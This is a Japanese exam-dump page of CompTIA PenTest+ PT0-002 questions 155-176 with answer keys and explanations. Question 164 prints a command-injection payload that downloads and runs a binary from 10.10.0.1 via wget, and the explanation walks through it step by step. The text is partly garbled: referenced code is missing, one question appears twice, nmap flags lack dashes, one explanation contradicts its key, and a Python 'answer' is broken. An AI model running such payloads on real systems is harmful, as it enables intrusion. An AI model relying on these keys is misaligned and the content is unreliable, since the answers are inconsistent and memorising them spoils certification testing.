[2024年07月] 検証済み CompTIA PT0-002日本語 リアル豪華お試しセット試験問題集 PDF [Q155-Q176]

Share

[2024年07月] 検証済みCompTIA PT0-002日本語リアル豪華お試しセット試験問題集でPDF

PT0-002日本語問題集PDF最新 [2024年最新] 究極の学習ガイド

質問 # 155
ペネトレーション テスターは、未知の Linux 64 ビット実行可能バイナリを発見しました。この問題を分析するために使用するのに最適なツールは次のうちどれですか?

  • A. ピーチ
  • B. OllyDbg
  • C. WinDbg
  • D. GDB

正解:D

解説:
Explanation
OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.
GDB is a tool that can be used to analyze and debug executable binaries, especially on Linux systems. GDB can disassemble, decompile, set breakpoints, examine memory, modify registers, and perform other operations on binaries. GDB can help a penetration tester understand the functionality, behavior, and vulnerabilities of an unknown binary. Peach is a tool that can be used to perform fuzzing, which is a technique of sending malformed or random data to a target to trigger errors or crashes. WinDbg and OllyDbg are tools that can be used to analyze and debug executable binaries, but they are mainly designed for Windows systems.


質問 # 156
ペネトレーション テスターは、クライアントとやり取りする前に、次の SOW を確認しています。
「ネットワーク図、論理的および物理的な資産インベントリ、および従業員の名前は、クライアントの機密として扱われます。エンゲージメントが完了すると、侵入テスターは暗号化されたプロトコルを介してクライアントの最高情報セキュリティ責任者 (CISO) に調査結果を提出し、その後破棄します。安全な方法でそれらを消去することにより、すべての調査結果の。」SOW の情報に基づくと、次の行動のうち、非倫理的と見なされるのはどれですか?
(2つ選んでください。)

  • A. 監査および検査のために、一般またはクライアントが利用できない独自の侵入テスト ツールを利用する
  • B. クライアントのパブリック IP アドレスを共有することで、アンダーグラウンド ハッカー フォーラムへの関与について助けを求める
  • C. 将来の使用のためにペネトレーション テスターの社内に SOW を保持し、営業チームが将来のエンゲージメントを計画できるようにする
  • D. クライアントのアーキテクチャ内に存在する重大な脆弱性をクライアントと共有して、クライアントの上級経営陣をなだめることができていない
  • E. 公開鍵暗号を利用して、エンゲージメントの完了時に調査結果が CISO に確実に届けられるようにする
  • F. ソフトウェアベースの消去ツールを使用して、侵入テスト担当者のラップトップからクライアントの調査結果を消去する

正解:B、D

解説:
These two behaviors would be considered unethical because they violate the principles of honesty, integrity, and confidentiality that penetration testers should adhere to. Failing to share critical vulnerabilities with the client would be dishonest and unprofessional, as it would compromise the quality and value of the assessment and potentially expose the client to greater risks. Seeking help in underground hacker forums by sharing the client's public IP address would be a breach of confidentiality and trust, as it would expose the client's identity and information to malicious actors who may exploit them.


質問 # 157
侵入テスターが、保護されていない内部ソース コード リポジトリで、Web アプリケーションによって使用される PHP スクリプトを見つけます。コードを確認した後、テスターは次のことを確認します。

侵入テスターがこのスクリプトを悪用するために使用するツールの組み合わせは、次のうちどれですか?

  • A. Netcat と cURL
  • B. ハイドラとクランチ
  • C. Nmap と OWASP ZAP
  • D. Burp Suite と DIRB

正解:A


質問 # 158
侵入テスターは、次のスクリプトを作成します。

テスターが達成しようとしている目的は次のうちどれですか?

  • A. 最も使用されているポートでシステムをスキャンします。
  • B. ネットワーク上のアクティブなホストを決定します。
  • C. ネットワーク デバイスの ARP テーブルを埋めます。
  • D. ステルス用の ping パケットの TTL を設定します。

正解:B


質問 # 159
侵入テスターは、単純な Python ベースのスキャナーを実行しました。以下は、コードのスニペットです。

このスクリプトが組織の IDS で「ポート スキャンの可能性」アラートをトリガーした理由を最もよく表しているのは、次のうちどれですか?

  • A. 7 行目の sock.settimeout(20) により、次の各ソケットが 20 ミリ秒ごとに作成されました。
  • B. remoteSvr 変数は、型ヒントも初期化もされていません。
  • C. 1 行目の *range(1, 1025) は portList リストに番号順に入力されています。
  • D. 6 行目では、socket.SOCK_DGRAM の代わりに socket.SOCK_STREAM を使用しています。

正解:C

解説:
Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) https://nmap.org/book/man-port-specification.html


質問 # 160
次のスクリプトがあるとします。

次のうち、5行目と6行目で実行される機能を特徴づけるのはどれですか?

  • A. 変数 b に既に格納されている各 DNS クエリの結果を出力します。
  • B. DNS サーバー 10.10.10.10 上のゾーンの開始権限情報を取得します。
  • C. www.comptia.org に対して単一の DNS クエリを実行し、生データ出力を出力します。
  • D. 変数 b をループして、DNS クエリに対して返された結果をカウントし、そのカウントを画面に出力します。

正解:A

解説:
The script is using the scapy library to perform a DNS query for www.comptia.org and store the response in variable b. Lines 5 and 6 are using a for loop to iterate over each answer in variable b and print its summary to the screen. This can help the penetration tester to view the DNS records returned by the query.


質問 # 161
ペネトレーションテスターは、厳格なアクセス制御を適用しているアプリケーションを観察します。テスターがこれらの制御をバイパスして、組織の機密ファイルに正常にアクセスできるのは次のどれですか?

  • A. SQL インジェクション
  • B. クロスサイト スクリプティング
  • C. 安全でない直接オブジェクト参照
  • D. リモート ファイルの組み込み

正解:C

解説:
Insecure Direct Object Reference (IDOR) vulnerabilities occur when an application provides direct access to objects based on user-supplied input. This can allow an attacker to bypass authorization and access resources in the system directly, for example database records or files1. In this case, the penetration tester could potentially bypass the strict access controls and access the organization's sensitive files. Reference: IDOR Vulnerability Overview


質問 # 162
ペネトレーションテスターが 192.168.1.112 の評価を実施しています。次の出力があるとします。

ペネトレーションテスターが実行しているのは次のうちどれですか?

  • A. DoS 攻撃
  • B. ブルートフォース
  • C. 資格情報のスタッフィング
  • D. ポートスキャン

正解:B

解説:
The output shows multiple login attempts with different passwords for the same username "root" on the IP address 192.168.1.112. This is indicative of a brute force attack, where an attacker systematically tries various password combinations to gain unauthorized access. References: The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 4: Conducting Passive Reconnaissance; The Official CompTIA PenTest+ Student Guide (Exam PT0-002), Lesson 4: Conducting Active Reconnaissance.


質問 # 163
侵入テスターは、アクティブなシステムを迅速に特定するためにクラス C ネットワークを調べています。侵入テスターが使用する必要があるコマンドは次のうちどれですか?

  • A. nmap sn ​​192.168.0.1/16
  • B. nmap sN 192.168.0.0/24
  • C. nmap sn ​​192.168.0.1 192.168.0.1.254
  • D. nmap sn ​​192.168.0.1-254

正解:D


質問 # 164
ペネトレーション テスターはエクスプロイトを使用してシステムにアクセスできました。以下は、使用されたコードの一部です。
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
ペネトレーション テスターがエンゲージメント後に実行する必要があるコマンドは次のうちどれですか?

  • A. chmod 600 /tmp/apache
  • B. rm -rf /tmp/apache
  • C. grep -v apache ~/.bash_history > ~/.bash_history
  • D. taskkill /IM "apache" /F

正解:B

解説:
The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:
cd /tmp: change the current directory to /tmp
wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1
chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone
./apache: run the file as an executable
The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.


質問 # 165
次の行番号付きの Python コード スニペットは、偵察に使用されています。

スクリプトの次の行番号のうち、スクリプトのトリガーに最も貢献した可能性が高いのはどれですか
組織の IDS に「ポート スキャンの可能性」アラートが表示されていますか?

  • A. 行 08
  • B. 行 07
  • C. 行 01
  • D. 行 02

正解:A


質問 # 166
Web アプリケーションと対話する Python スクリプトを作成する最も効率的な方法は次のうちどれですか?

  • A. リクエスト用のクラスを作成します。
  • B. リクエスト ライブラリをインポートします。
  • C. cURL OS コマンドを使用します。
  • D. リクエスト用の関数を作成します。

正解:B

解説:
The most efficient way to write a Python script that interacts with web applications is to import the requests library. The requests library is a Python HTTP library that simplifies making HTTP requests to web servers, which is essential for interacting with web applications. It allows you to easily send HTTP/1.1 requests, without the need for manually adding query strings to your URLs, or form-encode your POST data. Options A and B involve creating a class or function for requests, which could be more time-consuming and less efficient than using a well-established library like requests. Option D, using the cURL OS command, is less efficient in a Python script since it involves calling an external command rather than using a native Python library.


質問 # 167
ペネトレーション テスターが検出スキャンを実行した結果、次のものが生成されました。

次のコマンドのうち、上記の結果を生成し、さらに分析するためにそれらをアクティブなホストのリストに変換するのはどれですか?

  • A. nmap -sn 192.168.0.1-254 、grep "Nmap スキャン" | awk '{print S5}'
  • B. nmap -o 192.168.0.1-254、カット -f 2
  • C. nmap -oG list.txt 192.168.0.1-254 、ソート
  • D. nmap --open 192.168.0.1-254, uniq

正解:A

解説:
Explanation
the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print $5}) which obviously carries the returned IP of the host in the NMAP output.
This command will generate the results shown in the image and transform them into a list of active hosts for further analysis. The command consists of three parts:
nmap -sn 192.168.0.1-254: This part uses nmap, a network scanning tool, to perform a ping scan (-sn) on the IP range 192.168.0.1-254, which means sending ICMP echo requests to each IP address and checking if they respond.
grep "Nmap scan": This part uses grep, a text filtering tool, to search for the string "Nmap scan" in the output of the previous part and display only the matching lines. This will filter out the lines that show the start and end time of the scan and only show the lines that indicate the status of each host.
awk '{print $5}': This part uses awk, a text processing tool, to print the fifth field ($5) of each line in the output of the previous part. This will extract only the IP addresses of each host and display them as a list.
The final output will look something like this:
192.168.0.1 192.168.0.12 192.168.0.17 192.168.0.34


質問 # 168
ペネトレーション テスターが、明示的な許可なしに、内部クライアント アプリケーションで見つかった新しい脆弱性に対して CVE 番号を割り当てるよう要求しました。ペネトレーションテスターが違反した可能性が最も高いのは次のうちどれですか?

  • A. NDA
  • B. ROE
  • C. SOW
  • D. SLA

正解:B

解説:
ROE stands for Rules of Engagement, which are the guidelines and limitations that define the scope, objectives, and methods of a penetration testing engagement. ROE should be agreed upon by both the client and the tester before the testing begins, and they should include the authorization to perform certain actions, such as requesting CVE numbers, disclosing vulnerabilities, or exploiting systems. By requesting a CVE number without express authorization, the penetration tester most likely breached the ROE and violated the client's trust and expectations. Reference:
* The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 1: Planning and Scoping Penetration Tests, page 23-24.
* CVE - CVE1
* NDA, MSA, SOW and SLA. Confidentiality agreements when you outsource QA


質問 # 169
侵入テストの最終レポートに含める最も重要な項目は次のうちどれですか?
(2つ選んでください。)

  • A. 問題を見つけるために使用したツール
  • B. 脆弱なデバイスのネットワーク上の場所
  • C. 欠陥を発見した人の名前
  • D. 脆弱性識別子
  • E. クライアント承認フォーム
  • F. 調査結果の CVSS スコア

正解:A、D


質問 # 170
侵入テスターが、保護されていない内部ソース コード リポジトリで、Web アプリケーションによって使用される PHP スクリプトを見つけます。コードを確認した後、テスターは次のことを確認します。

侵入テスターがこのスクリプトを悪用するために使用するツールの組み合わせは、次のうちどれですか?

  • A. Netcat と cURL
  • B. ハイドラとクランチ
  • C. Nmap と OWASP ZAP
  • D. Burp Suite と DIRB

正解:A


質問 # 171
クライアントがペネトレーションテストチームとの教訓的なミーティングを開催する理由を最もよく表しているのは、次のうちどれですか?

  • A. 評価中に期待に応えられなかったプロセスを特定する
  • B. 侵入テスト チームが、テスト中に収集されたすべての企業データを確実に破棄するため
  • C. レポートの構造に関するフィードバックを提供し、改善を推奨するため
  • D. 調査結果について話し合い、誤検知に異議を唱えるため

正解:A


質問 # 172
内部侵入テスト中、攻撃マシンはターゲット ホストと同じ LAN セグメント上にあります。
次のコマンドのうち、攻撃者がホスト配信を実行し、攻撃マシンの結果を返さずに発見をファイルに書き込むのに最も適しているのはどれですか?

  • A. nmap sSPn n iL target.txt A target_txtl
  • B. nmap iR10oX out.xml | grep Nmap | カット d "f5 > live-hosts.txt
  • C. nmap PnsV OiL target.txt A target_text_Service
  • D. nmap snn exclude 10.1.1.15 10.1.1.0/24 oA target_txt

正解:D

解説:
According to the Official CompTIA PenTest+ Self-Paced Study Guide1, the correct answer is A. nmap -sn -n
-exclude 10.1.1.15 10.1.1.0/24 -oA target_txt.
This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target_txt (-oA).


質問 # 173
侵入テスターは、Nmap を使用してホスト 64.13.134.52 をスキャンし、次の結果を受け取りました。

出力に基づいて、次のサービスのうち、悪用される可能性が最も高いのはどれですか? (2つ選んでください。)

  • A. SMTP
  • B. NTP
  • C. Telnet
  • D. DNS
  • E. SNMP
  • F. HTTP

正解:D、F


質問 # 174
シミュレーション
出力を使用して、さらに調査する必要がある潜在的な攻撃ベクトルを特定します。




正解:

解説:
See explanation below.
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)


質問 # 175
侵入テスターは、評価の途中で評価チームに加わります。クライアントはチームに対して、口頭と範囲設定文書の両方で、実稼働ネットワークをテストしないように依頼しました。ただし、新しいテスターはこの要求を認識せず、本番環境でエクスプロイトを実行します。この誤解を最も効果的に防いだのは次のうちどれですか?

  • A. すべてのテスト担当者にスコーピング ドキュメントを注意深く確認するよう要求する
  • B. 評価中にテスターがチームに参加することを禁止する
  • C. 実稼働ネットワークを評価しない
  • D. 本番環境での悪用の禁止

正解:A

解説:
Explanation
The scoping document is a document that defines the objectives, scope, limitations, deliverables, and expectations of a penetration testing engagement. It is an essential document that guides the penetration testing process and ensures that both the tester and the client agree on the terms and conditions of the test. Requiring all testers to review the scoping document carefully would have most effectively prevented this misunderstanding, as it would have informed the new tester about the client's request not to test the production networks. The other options are not effective or realistic ways to prevent this misunderstanding.


質問 # 176
......

あなたを合格させるCompTIA試験でPT0-002日本語試験問題集:https://www.goshiken.com/CompTIA/PT0-002J-mondaishu.html